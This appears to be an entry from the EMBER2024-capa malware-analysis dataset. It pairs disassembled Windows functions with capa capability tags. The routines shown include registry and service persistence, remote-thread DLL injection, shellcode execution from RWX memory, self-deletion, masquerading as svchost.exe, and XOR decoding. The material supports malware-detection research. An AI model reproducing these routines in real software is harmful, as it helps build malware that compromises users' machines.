joyce8/EMBER2024-capa huggingface dataset:
Function at 0x637c12f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x69
je 0x637c1337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6f
je 0x637c1337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6e
je 0x637c1337
mov eax, dword [ebp - 0x14]
cmp eax, 0x74
je 0x637c1337
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x637c1337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6c
jne 0x637c137d
mov eax, dword [ebp - 0x14]
cmp eax, 0x43
je 0x637c1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x637c1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6c
je 0x637c1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x637c1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x72
je 0x637c1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6f
je 0x637c1376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6e
je 0x637c1376
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x637c137d
mov eax, 1
jmp 0x637c1382
mov eax, 0
leave
ret

Function at 0x637c1384
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret
Function at 0x637c14a0
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x637c1599
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x637c1607
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x637c179e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret
Function at 0x637c1b80
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x637c603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x637c6034]
sub esp, 4
test ebx, ebx
je 0x637c1bcb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x637c1bc4
test esi, esi
je 0x637c1bc4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x637c1ba0
mov dword [esp], 0x637c603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x637c1db0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x637c4130
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x637c1e00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x637c1ed8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x637c1e3e
cmp eax, 4
jne 0x637c1e60
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x637c1e4e
cmp edx, 4
je 0x637c1e4e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.637c1db0
Function at 0x401000
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x401024
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40101d
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret

Function at 0x401072
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
and byte [ebp - 0x200], 0
push esi
push edi
push 0x7f
pop ecx
xor eax, eax
lea edi, [ebp - 0x1ff]
push 0x200
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x4010e5
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x4010e5
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push dword [ebp + 8]
call fcn.00407f60
movsx eax, word [esi + 0xa]
pop ecx
pop ecx
mov ecx, dword [esi + 0xc]
add eax, dword [ecx]
cmp eax, dword [esi]
setb al
jmp 0x4010e7
xor al, al
pop edi
pop esi
leave
ret

Function at 0x40111f
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
cmp word [ebp + 8], 0
jne 0x40115b
cmp word [ebp + 0xc], 0
jne 0x40115b
call fcn.0040805a
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add esi, eax
movzx eax, word [ebp - 4]
add esi, eax
movzx eax, word [ebp - 6]
add eax, esi
jmp 0x40118d
movzx esi, word [ebp + 8]
push edi
call fcn.0040805a
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
movzx ecx, word [ebp + 0xc]
add edi, eax
sub ecx, esi
movzx eax, word [ebp - 4]
add edi, eax
xor edx, edx
movzx eax, word [ebp - 6]
add edi, eax
inc ecx
mov eax, edi
pop edi
div ecx
mov eax, edx
add eax, esi
pop esi
leave
ret
Function at 0x405834
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
and byte [ebp - 0x110], 0
push esi
push edi
push 0x1f
pop ecx
xor eax, eax
lea edi, [ebp - 0x10f]
and byte [ebp - 0x90], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x1f
xor eax, eax
pop ecx
lea edi, [ebp - 0x8f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x413430
mov esi, 0x4131ec
push edi
push esi
call fcn.00408210
pop ecx
test eax, eax
pop ecx
je 0x4058b5
push edi
push esi
call fcn.004081d0
push eax
lea eax, [ebp - 0x110]
push esi
push eax
call fcn.004080d0
push edi
push esi
call fcn.004081d0
add eax, 0x4131ed
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.00407f60
add esp, 0x24
lea eax, [ebp - 0x90]
mov word [ebp - 0x10], 2
push eax
call fcn.00408c7f
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x110]
push eax
call fcn.00401000
pop ecx
mov dword [ebp - 0xc], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40590f
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x405911
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x4061eb
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.MHz
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x406238
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
mov esi, 0x9c
xor edi, edi
push esi
lea eax, [ebp - 0xa4]
push edi
push eax
call fcn.00408290
add esp, 0xc
lea eax, [ebp - 0xa4]
mov dword [ebp - 0xa4], esi
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0xa0], 4
mov ebx, dword [ebp + 8]
ja 0x406288
push 0x413514
push ebx
call fcn.00407f60
pop ecx
pop ecx
cmp dword [ebp - 0xa0], 5
jne 0x4062e4
cmp dword [ebp - 0x9c], edi
jne 0x4062af
push str.2000
push ebx
call fcn.00407f60
cmp dword [ebp - 0xa0], 5
pop ecx
pop ecx
jne 0x4062e4
cmp dword [ebp - 0x9c], 1
jne 0x4062ce
push 0x413508
push ebx
call fcn.00407f60
cmp dword [ebp - 0xa0], 5
pop ecx
pop ecx
jne 0x4062e4
cmp dword [ebp - 0x9c], 2
jne 0x40633b
push str.2003
push ebx
call fcn.00407f60
pop ecx
pop ecx
cmp dword [ebp - 0xa0], 6
jne 0x40633b
cmp dword [ebp - 0x9c], edi
jne 0x406318
cmp byte [ebp - 0xa], 1
jne 0x406302
push str.Vista
jmp 0x406307
push str.2008
push ebx
call fcn.00407f60
cmp dword [ebp - 0xa0], 6
pop ecx
pop ecx
jne 0x40633b
cmp dword [ebp - 0x9c], 1
jne 0x40633b
cmp byte [ebp - 0xa], 1
jne 0x40632e
push str.Win7
jmp 0x406333
push str.2008R2
push ebx
call fcn.00407f60
pop ecx
pop ecx
movzx eax, word [ebp - 0x10]
push eax
push ebx
lea eax, [ebp - 0x124]
push str._s_SP_d
push eax
call fcn.00408078
lea eax, [ebp - 0x124]
push eax
push ebx
call fcn.00407f60
call fcn.004061eb
push 0x280
mov dword [ebx + 0x40], eax
mov dword [ebp - 4], edi
call fcn.0040910d
add esp, 0x1c
lea ecx, [ebp - 4]
mov dword [ebp + 8], eax
mov dword [ebp - 8], edi
push ecx
push eax
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x4063a1
push dword [ebp + 8]
call fcn.004090a4
push dword [ebp - 4]
call fcn.0040910d
pop ecx
mov dword [ebp + 8], eax
pop ecx
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push esi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x4063f9
cmp esi, edi
je 0x4063f9
mov edi, 0x3e8
lea eax, [esi + 0x1d8]
push str.0.0.0.0
push eax
call fcn.00409020
pop ecx
test eax, eax
pop ecx
je 0x4063f3
push dword [esi + 0x19c]
call fcn.00405915
cmp dword [ebp - 8], eax
pop ecx
ja 0x4063f3
xor edx, edx
mov ecx, edi
mov dword [ebp - 8], eax
div ecx
xor edx, edx
div ecx
mov dword [ebx + 0x64], eax
mov esi, dword [esi]
test esi, esi
jne 0x4063bb
push dword [ebp + 8]
call fcn.004090a4
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406407
Capabilities:
Create thread

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
cmp dword [0x4167b0], edi
jne 0x40649d
mov esi, dword [esp + 0x14]
mov dword [0x4167b0], 1
cmp dword [esi + 0x94], edi
jne 0x406467
push 0x413524
call fcn.004082e8
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
pop ecx
push edi
push edi
push esi
push 0x4057cf
push edi
push edi
call ebp
xor ebx, ebx
cmp dword [esi + 0x6c], edi
jle 0x40649d
push edi
push edi
push esi
push 0x404db4
push edi
push edi
call ebp
inc ebx
cmp ebx, dword [esi + 0x6c]
jl 0x406453
jmp 0x40649d
push str.DNS
call fcn.004082e8
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
pop ecx
push edi
push edi
push esi
push 0x4057cf
push edi
push edi
call ebp
xor ebx, ebx
cmp dword [esi + 0x6c], edi
jle 0x40649d
push edi
push edi
push esi
push 0x40516b
push edi
push edi
call ebp
inc ebx
cmp ebx, dword [esi + 0x6c]
jl 0x40648b
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x406c13
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
push edi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x104
lea eax, [ebp - 0x158]
push esi
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x406d62
lea eax, [ebp - 0x158]
push esi
push eax
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x406d62
lea eax, [ebp - 0x360]
push esi
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x406d62
lea eax, [ebp - 0x25c]
push str.__c_del
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x25c]
push eax
call esi
lea eax, [ebp - 0x25c]
push str.___nul
push eax
call esi
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x360]
push eax
call esi
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0xc]
mov dword [ebp - 0x10], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x100
mov dword [ebp - 0x54], 0x44
stosd dword es:[edi], eax
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], bx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push ebx
push 0xc
push ebx
push ebx
lea eax, [ebp - 0x360]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x406d4d
push 0x40
push dword [ebp - 0x10]
call esi
push 0xfffffffffffffff1
push dword [ebp - 0xc]
call edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 1
pop eax
jmp 0x406d64
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406d69
Capabilities:
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, 0x104
push edi
push 0
push esi
call fcn.00408290
add esp, 0xc
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
and byte [esi + 2], 0
push 0x1a
pop ebx
push ebx
call fcn.00404197
pop ecx
push 0x61
pop edi
add eax, edi
push eax
push ebx
call fcn.00404197
pop ecx
add eax, edi
push eax
push ebx
call fcn.00404197
pop ecx
add eax, edi
push eax
push ebx
call fcn.00404197
pop ecx
add eax, edi
push eax
push ebx
call fcn.00404197
pop ecx
add eax, edi
push eax
push ebx
call fcn.00404197
pop ecx
add eax, edi
push eax
lea eax, [ebp - 0x50]
push str._c_c_c_c_c_c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push str.Program_Files_
push esi
call fcn.00407f70
lea eax, [ebp - 0x50]
push eax
push esi
call fcn.00407f70
push esi
call fcn.004091bf
add esp, 0x34
push 0x27
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40730a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, 0x100
push edi
push 0x4131ec
call fcn.0040700a
mov esi, str.TkkljvqV_pp_73
push 0x20
push esi
call fcn.0040700a
mov ebx, str.TkkljvqQ_qrdp_68
push 0x80
push ebx
call fcn.0040700a
push edi
mov edi, str.Wjl_hqUlm_nuwVmpr_z_73
push edi
call fcn.0040700a
add esp, 0x20
call 0x40739d
test eax, eax
je 0x40737d
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x406e0f
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
push edi
push ebx
push esi
call fcn.00407408
add esp, 0xc
cmp dword [0x4167c0], 0
je 0x407374
call fcn.00406c13
push 0
call fcn.00409218
push ebp
mov ebp, esp
sub esp, 0x108
and byte [ebp - 0x108], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push str.SYSTEMCurrentControlSetServices_
push eax
call fcn.00407f60
lea eax, [ebp - 0x108]
push str.TkkljvqV_pp_73
push eax
call fcn.00407f70
add esp, 0x10
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x108]
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
neg eax
sbb eax, eax
pop edi
inc eax
leave
ret
Function at 0x407408
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4112a8
push 0x408878
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x320
push ebx
push esi
push edi
mov edi, 0x104
push edi
lea eax, [ebp - 0x224]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x330]
push eax
call fcn.00406d69
lea eax, [ebp - 0x330]
push eax
call fcn.00408a30
push eax
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x330]
push eax
call fcn.004092f0
add esp, 0x14
test eax, eax
je 0x4074dc
push str._svchost.exe
lea eax, [ebp - 0x330]
push eax
call fcn.00407f70
pop ecx
pop ecx
push esi
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x27
lea eax, [ebp - 0x330]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push esi
lea eax, [ebp - 0x224]
push eax
call fcn.00408290
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.00407f60
add esp, 0x14
mov dword [0x4167c0], 1
mov dword [ebp - 0x120], esi
mov dword [ebp - 0x22c], esi
mov dword [ebp - 0x228], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x228], ebx
cmp ebx, esi
je 0x4075d6
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x224]
push eax
push esi
push 2
push 0x10
mov edi, 0xf01ff
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x22c], eax
cmp eax, esi
jne 0x407567
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x407567
push edi
push dword [ebp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x22c], eax
cmp eax, esi
je 0x4075d6
push esi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
push esi
push dword [ebp - 0x22c]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x4075d6
push str.SYSTEMCurrentControlSetServices_
lea eax, [ebp - 0x11c]
push eax
call fcn.00407f60
push dword [ebp + 8]
lea eax, [ebp - 0x11c]
push eax
call fcn.00407f70
add esp, 0x10
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x11c]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0x10]
push 1
push esi
push str.Description
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
or dword [ebp - 4], 0xffffffff
call fcn.004075f0
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4025a1
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4c15c1
call fcn.004c11b8
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], 0x4808
xor ebx, ebx
cmp dword [ebp - 0x18], 0x4b9e
jle 0x402606
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x1c], ebx
mov eax, ebx
xor eax, esi
xor eax, edi
cdq
push edx
push eax
mov ecx, 0xab2098
call fcn.00408fd3
inc ebx
cmp ebx, 0x5b45
jl 0x4025d2
inc esi
cmp esi, 0x6d7d
push 0
pop ebx
jl 0x4025cf
inc edi
cmp edi, 0x22e1
jl 0x4025cd
mov esi, dword [ebp - 0x20]
mov dword [esi], ebx
jmp 0x40261e
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x40261c
push ebx
push ebx
push ebx
call dword [0xab508c]
dec dword [esi]
cmp dword [esi], ebx
jge 0x40260a
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], 0x45d2
jge 0x40263d
mov edx, 0xa8db88
mov ecx, 0xab2098
call fcn.0040b859
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret